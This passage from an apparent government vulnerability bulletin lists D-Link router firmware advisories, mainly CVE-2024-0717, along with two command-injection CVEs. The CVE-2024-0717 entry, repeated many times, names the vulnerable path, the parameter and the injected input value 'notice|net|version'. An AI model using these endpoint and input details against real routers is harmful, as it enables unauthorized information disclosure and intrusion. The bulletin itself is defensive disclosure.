Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to	N/A	O-DLI-DIR--090224/2508

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-2150_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-	N/A	O-DLI-DIR--090224/2509

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-300_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability	N/A	O-DLI-DIR--090224/2510

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-615gf_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841,	N/A	O-DLI-DIR--090224/2511

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-615s_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2512

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-615t_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2513

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-615_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2514

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-620s_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2515

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-620_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2516

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-806a_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2517

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-815s_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2518

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-815\/ac_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2519

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-815_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2520

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Affected Version(s): * Up to (including) 1.04					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	There is a command injection vulnerability in the ssdpcgi_main function of cgibin binary in D-Link DIR-815 router firmware v1.04. **CVE ID : CVE-2024-22651**	N/A	O-DLI-DIR--090224/2521
Product: dir-816_a2_firmware					
Affected Version(s): 1.10cnb04					
Improper Neutralization of Special Elements used in an	26-Jan-2024	9.8	A vulnerability has been found in D-Link DIR-816 A2 1.10CNB04 and classified as critical. Affected by	N/A	O-DLI-DIR--090224/2522

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
OS Command ('OS Command Injection')			this vulnerability is an unknown functionality of the file /goform/setDeviceSettings of the component Web Interface. The manipulation of the argument statuscheckpppoeuser leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252139. **CVE ID : CVE-2024-0921**		
Product: dir-816_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-	N/A	O-DLI-DIR--090224/2523

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-820_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability	N/A	O-DLI-DIR--090224/2524

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-822_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841,	N/A	O-DLI-DIR--090224/2525

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-825acf_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2526

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-825acg1_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2527

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-825ac_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2528

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-825_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2529

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-841_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2530

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0717**		
Product: dir-842s_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853,	N/A	O-DLI-DIR--090224/2531

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0717		
Product: dir-842_firmware					
Affected Version(s): * Up to (including) 2024-01-12					
N/A	19-Jan-2024	5.3	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file	N/A	O-DLI-DIR--090224/2532

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
